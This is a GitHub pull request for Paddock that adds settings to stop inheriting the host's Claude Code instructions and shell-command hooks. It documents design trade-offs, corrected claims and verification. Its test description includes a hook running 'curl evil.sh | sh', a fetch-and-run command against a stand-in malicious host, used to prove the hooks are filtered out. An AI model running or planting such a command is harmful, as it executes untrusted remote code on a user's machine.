Skip to content

feat(server): claude.instructions and claude.hooks — stop inheriting the host's prompts and shell commands (#691) - #697

Merged
edspencer merged 2 commits into
mainfrom
feat/691-instructions-hooks
Aug 5, 2026
Merged

feat(server): claude.instructions and claude.hooks — stop inheriting the host's prompts and shell commands (#691)#697
edspencer merged 2 commits into
mainfrom
feat/691-instructions-hooks

Conversation

@edspencer

@edspencer edspencer commented Aug 5, 2026

Copy link
Copy Markdown
Owner

Step 4 of #691's sequence. Splits BRIDGED_ENTRIES — which symlinked the whole of the user's user-level Claude config into Paddock's own home unconditionally — into two independent levers, both defaulting own.

key governs default
claude.instructions CLAUDE.md, agents/, commands/, plugins/ own
claude.hooks the hooks key of settings.json own

PADDOCK_CLAUDE_INSTRUCTIONS / PADDOCK_CLAUDE_HOOKS, env > file > default, mirroring claude.credentials (#696) throughout. There is no "always bridged" set left: every entry of ~/.claude Paddock can reach now belongs to exactly one key of the claude: block.

hooks is the one that matters. Hooks are shell commands that execute on the machine, and until this they ran inside every Paddock turn with no switch at all. "Isolate it by just trying Paddock" was not true, and this is why.

The hard part: settings.json is a mixed bag

It carries hooks and permissions, model, statusLine, enabledPlugins. A symlink is all-or-nothing and the file is not, so hooks: own writes Paddock's own settings.json — the user's keys, hooks dropped. Decisions, each of which you asked about:

Staleness — boot-time regeneration, and I think it is enough. Three reasons, in order of how much work they do:

  1. Only users who have hooks pay it. planHostSettings returns link when there is nothing to drop, which is most settings.json files. Those still get the symlink and cannot go stale. The copy exists exactly where filtering is doing work — a nice property I did not expect to fall out.
  2. Regenerated at every boot, so a restart is the whole of the fix, and the notice says so.
  3. Claude Code reads user settings when a session process starts, and Paddock's session runtime outlives a turn — so even a symlink is not "live" for a session already running. A restart was already the reliable way to apply a settings change.

The alternative was an fs watcher on a path in the user's home, racing Paddock's own write. Not worth it for a file people edit a handful of times a year.

Never clobbering a real settings.json. Ownership is decided by sha256 recorded in a sidecar (<ownHome>/.paddock-generated.json), never by "it is at a name we use". A symlink Paddock can recognise by where it points; a real file it wrote is indistinguishable from a real file a human wrote, and getting that wrong in either direction is bad (refuse → stale forever; regenerate anyway → silently overwrite an operator's config). So: a file Paddock did not write, or wrote and a human then edited, is left alone — and it warns, because silence there would mean hooks: own is not in force for whatever that file says and an operator should not have to infer that. A marker key inside settings.json would need no sidecar but risks a schema-validation warning on some future Claude Code; a hash sidecar is inert by construction.

Withdrawal. All four transitions are handled and tested: bridge→generated, generated→bridge, either→gone when the user deletes theirs, and the instructions links withdrawn on a flip to own (as #696 did for .credentials.json).

Fail closed. An unparseable ~/.claude/settings.json plants nothing rather than falling back to a symlink — the fallback would hand over exactly the hooks the lever withholds, precisely when something is already wrong. Claude Code could not read that file either, so nothing is lost.

⚠️ A prior decision this reverses — flagging, not burying

BRIDGED_ENTRIES' docstring argued the opposite of instructions: own:

Without this, relocating the home silently changes agent behaviour: the user's ~/.claude/CLAUDE.md is auto-loaded into every session, settings.json carries permissions and hooks, and agents/ commands/ plugins/ are capability. Dropping them is not "a clean home", it is a behaviour regression nobody asked for.

That is still true, and instructions: own is exactly that regression for anyone with a curated ~/.claude/CLAUDE.md: their agents stop knowing things, with no error to search for. I implemented own per your decision, and moved the argument verbatim onto DEFAULT_INSTRUCTIONS_MODE in claude-instructions.ts as the case against, plus a test that says "if this flips back, the footnote won". The counter-argument I put next to it: "own everywhere means nothing outside the data dir is read or written" has to be a guarantee readable off a config file, and "…except your CLAUDE.md, agents, commands and plugins, always, with no key" is not a guarantee, it is a footnote. Mitigation for the cost: the boot notice names the key and lists which of their files it is not loading, only when they actually have some.

Easy to push back on — it is one constant.

⚠️ Contradicting the brief: hooks: own does not stop the host's commands running

The brief frames the lever as "hooks are commands that execute on the machine, and today they are inherited with no switch." True — but hooks is not the only key in settings.json that names a command to run. Read straight out of the SDK's own settings schema (@anthropic-ai/claude-agent-sdk/sdk.mjs, _6()):

key schema description
apiKeyHelper "Path to a script that outputs authentication values"
awsCredentialExport "Path to a script that exports AWS credentials"
awsAuthRefresh "Path to a script that refreshes AWS authentication"
gcpAuthRefresh "Command to refresh GCP authentication"
proxyAuthHelper "Shell command that outputs a Proxy-Authorization header value"
otelHeadersHelper "Path to a script that outputs OpenTelemetry headers"
statusLine / subagentStatusLine / fileSuggestion {type: l.literal("command"), command: l.string()}

So hooks: own delivers "no host hooks", not "no host commands" — and the brief lists statusLine among the keys to keep, which is one of them.

I implemented the brief's scope (hooks only) rather than widening it, and I want the trade-off in front of you rather than a unilateral choice, because widening is not obviously right: the first five are how a login works on a corporate setup, so dropping them under a key named hooks would break authentication for people who did nothing wrong. That is an argument they belong under claude.credentials, not here. Widening is one line — HOST_ONLY_SETTINGS_KEYS in claude-settings.ts — and there is a test pinning it to ["hooks"] so the gap is a stated fact with a name rather than something later mistaken for a bug. It is in the module doc, the changeset and both doc pages too.

⚠️ The big one: both levers are no-ops on the default chat path today

Found by checking rather than assuming, and it reframes the whole step. Verified empirically against @anthropic-ai/claude-agent-sdk 0.3.216 by capturing the outbound request body against a local sink server (no API credit spent), not by reading the bundle alone.

<claudeHome>/settings.json, CLAUDE.md, agents/ and commands/ all move as one unit with Claude Code's user setting source. And @herdctl/core's sdk-adapter.js does this:

if (agent.setting_sources !== undefined) result.settingSources = [...agent.setting_sources];
else if (working_directory)              result.settingSources = ["project"];   // ← every Paddock keeper
else                                     result.settingSources = [];

Every Paddock agent has a working_directory (the project dir), and Paddock declares no setting_sources, so every SDK chat turn runs with --setting-sources=project. Evidence:

  • Under default sources the prompt carries a # claudeMd block naming <claudeHome>/CLAUDE.md. Under ["project"] that block is absent entirely, while the project's own CLAUDE.md still loads.
  • system/init diff between the two: probecmd drops out of slash_commands, probeagent drops out of agents.
  • Control with settingSources: ["user"] brings all three back and drops the project one — so the gate is that source specifically.

cli-runtime.js passes --setting-sources only when an agent declares setting_sources, and Paddock declares none — so claude -p runs on the default user,project,local and reads all of it.

Therefore: the host's hooks, CLAUDE.md, agents and commands execute/apply in the sweeper, triggers and driveMode: batch chats, and not in a default SDK chat turn. #691's premise — "hooks are inherited with no switch at all", "the user's ~/.claude/CLAUDE.md is auto-loaded into every session" — is true of the CLI runtime and has been false of the SDK runtime since chats moved to it.

I kept both levers as built, because the exposure is real code execution on those paths, the asymmetry is a herdctl default rather than a guarantee, and step 5 changes one of the callers. But it cuts two ways worth deciding on:

  • It shrinks the case against instructions: own above — the "behaviour regression nobody asked for" already happened, silently, and nobody filed it.
  • It raises a question this step does not answer: should Paddock declare setting_sources explicitly rather than inheriting a herdctl default that silently decides this? I did not touch it — it changes what every chat loads and belongs in its own PR.

Not gated, and verified separately: <claudeHome>/projects/<enc>/memory/ still reaches the agent under ["project"], so agent auto-memory is unaffected.

Two other claims I asserted and then had to correct

Both were in the first commit; ee4f1de fixes them.

  1. "Claude Code reads user settings at process start, so even a symlink is not live." False. There is a settings-change watcher (~1s poll + 500ms debounce, 5s self-write echo suppression) that follows a symlink to its real target, clears the whole settings memo and re-applies mid-session — observed as Detected change to … (via symlink target …) under a running query(). So a boot-regenerated copy is materially staler than a symlink. The docstring now says that plainly instead of explaining it away; the two reasons that survive (only hooks-having users get a copy at all, and a restart is the whole fix) carry the decision. Bonus: because that watcher fires on content change regardless of who wrote it, a future watcher-based regeneration on Paddock's side would propagate live — so closing the gap later is cheap.

  2. "The SDK does not auto-discover installed plugins, so bridging plugins/ is inert." Design: independent levers for what Paddock shares with the host's Claude Code (transcripts / credentials / MCP / instructions / hooks) #691 says this, I repeated it, and it is wrong on the mechanism. The runtime's plugin root is join(CLAUDE_CONFIG_DIR, "plugins"), the plugins?: SdkPluginConfig[] option is a sideload channel that gets merged with what is discovered there, and a live probe loaded a plugin from a planted home with no plugins option passed at all. The outcome ("inert for Paddock") happens to hold, but for a different reason: discovery is driven by enabledPlugins, which lives in settings.json, which is userSettings, which isn't loaded. Worth knowing before step 5 builds on the stated reason.

Verification

  • env -u NODE_ENV npm test: 1779 server + 941 web, all green (baseline after step 3 was 1738 server; +41).
  • All four instructions × hooks combinations asserted as a matrix, plus a four-way credentials × instructions matrix proving the levers do not leak into one another.
  • The single most important testown drops the user's hooks while KEEPING their other settings keys: a user settings.json with permissions, model and a PreToolUse hook running curl evil.sh | sh; asserts the generated file has no hooks, the string curl evil.sh appears nowhere in it, permissions and model survive intact, and the entry is a real file, not a symlink (a symlink would carry the hooks straight back). That is the security property this lever exists for.
  • The two findings above were confirmed by live probes, not bundle reading — throwaway config dirs, an unreachable/sink API endpoint, and diffed system/init + outbound request bodies. Zero API credit spent, scratch dirs deleted.
  • npm run typecheck fails only on reapChatSession in herdctl.ts — environmental (@herdctl/core@5.29.1 installed against a declared ^5.31.0), present on main, not mine. It also means local E2E cannot run here; CI installs fresh.
  • No prettier run (repo is not prettier-clean); wrapped by hand to the ~100-column norm.

Closes nothing on its own — #691's sequence continues at step 5 (mcpServers).

…the host's prompts and shell commands (#691)

Step 4 of #691's sequence. `BRIDGED_ENTRIES` symlinked the whole of the user's
user-level Claude config into paddock's own home unconditionally — settings.json,
CLAUDE.md, agents/, commands/, plugins/ — with no key to turn any of it off. That
set is now two levers, both defaulting `own`, both overridable by
PADDOCK_CLAUDE_INSTRUCTIONS / PADDOCK_CLAUDE_HOOKS (env > file > default).

- `claude.instructions` — CLAUDE.md, agents/, commands/, plugins/. Inert content:
  prompts, subagent definitions, slash commands. Symlink bridge as before, and
  `own` withdraws a link a previous `host` boot planted.
- `claude.hooks` — the `hooks` key of settings.json. The one that matters: hooks
  are shell commands that execute on the machine, and they ran inside every
  paddock turn whether or not anyone chose that.

`hooks: own` cannot be a symlink decision. settings.json carries `hooks` AND
permissions, model, statusLine, enabledPlugins; a symlink is all-or-nothing and
the file is not. So paddock writes its own settings.json carrying the user's
other keys with `hooks` dropped:

- Regenerated at every boot, so a restart applies an edit. The staleness that
  buys is paid ONLY by users who actually have hooks — `planHostSettings` returns
  `link` when there is nothing to drop, which is most files, so the copy exists
  exactly where filtering is doing work.
- Ownership by sha256 sidecar (`.paddock-generated.json`), never by "it is at a
  name we use". A file paddock did not write, or wrote and a human then edited,
  is left alone — and paddock WARNS, because silence there means `hooks: own` is
  not in force and an operator should not have to infer that.
- An unparseable settings.json plants NOTHING rather than falling back to the
  symlink: the fallback would hand over exactly the hooks the lever withholds.

`instructions: own` reverses the argument #620 shipped with. That argument is
real and is moved, verbatim, to `DEFAULT_INSTRUCTIONS_MODE` as the case against —
not deleted. A curated ~/.claude/CLAUDE.md silently stops reaching agents, so the
boot notice names the key rather than leaving it to be discovered.

Scope, stated rather than buried: `hooks: own` means "no host hooks", not "no
host commands". settings.json has nine other keys naming a script to run
(apiKeyHelper, awsAuthRefresh, awsCredentialExport, gcpAuthRefresh,
proxyAuthHelper, otelHeadersHelper, statusLine, subagentStatusLine,
fileSuggestion — read out of the SDK's own settings schema). Five of them are how
a corporate login WORKS, so dropping them under a key named `hooks` would break
authentication for people who did nothing wrong; widening is a maintainer call
and is one line (`HOST_ONLY_SETTINGS_KEYS`).

Co-Authored-By: Claude <noreply@anthropic.com>
@cloudflare-workers-and-pages

cloudflare-workers-and-pages Bot commented Aug 5, 2026

Copy link
Copy Markdown

Deploying paddock with  Cloudflare Pages  Cloudflare Pages

Latest commit: ee4f1de
Status: ✅  Deploy successful!
Preview URL: https://d9c37a02.paddock-7u2.pages.dev
Branch Preview URL: https://feat-691-instructions-hooks.paddock-7u2.pages.dev

View logs

…reads (#691)

Both were asserted in the code and both are wrong. Verified empirically against
@anthropic-ai/claude-agent-sdk 0.3.216 by capturing the outbound request body
against a local sink (no API credit spent), not by reading the bundle alone.

1. "Claude Code reads user settings when a session process starts, so even a
   symlink is not live." FALSE. There is a settings-change watcher (~1s poll,
   500ms debounce) that follows a symlink to its real target, clears the whole
   settings memo and re-applies mid-session — observed as "Detected change to …
   (via symlink target …)" under a running query(). So a boot-regenerated copy IS
   materially staler than a symlink, and the docstring now says so instead of
   explaining the difference away. The two reasons that survive (only
   hooks-having users get a copy at all; a restart is the whole fix) carry it.

2. "The SDK does not auto-discover installed plugins, so bridging plugins/ is
   inert." Wrong on the mechanism, right on the outcome. The runtime's plugin
   root IS join(CLAUDE_CONFIG_DIR, "plugins"), the `plugins` option is a sideload
   channel MERGED with what is discovered there, and a live probe loaded a plugin
   from a planted home with no `plugins` option passed.

And the finding that reframes both levers: `<claudeHome>/settings.json`,
`CLAUDE.md`, `agents/` and `commands/` all move as one unit with Claude Code's
`user` setting source, and herdctl passes --setting-sources=project for every
agent with a working_directory — which is every paddock keeper. Under the default
sources the prompt carries a `# claudeMd` block naming the home's CLAUDE.md;
under ["project"] that block is absent entirely while the PROJECT's CLAUDE.md
still loads, and system/init drops the home's subagents and slash commands. The
CLI runtime passes no such flag, so the sweeper, triggers and driveMode: batch DO
read all of it.

So both levers are no-ops on the default SDK chat path today and real on the CLI
paths. Kept as built: those paths execute host code, the asymmetry is a herdctl
default rather than a guarantee, and step 5 changes one of the callers. It also
shrinks the case against `instructions: own` — the regression #620's docstring
warned about already happened, silently, when chats moved to the SDK runtime.

(Not gated, and worth knowing separately: `projects/<enc>/memory/` still reaches
the agent under ["project"], so agent auto-memory is unaffected by any of this.)

Co-Authored-By: Claude <noreply@anthropic.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant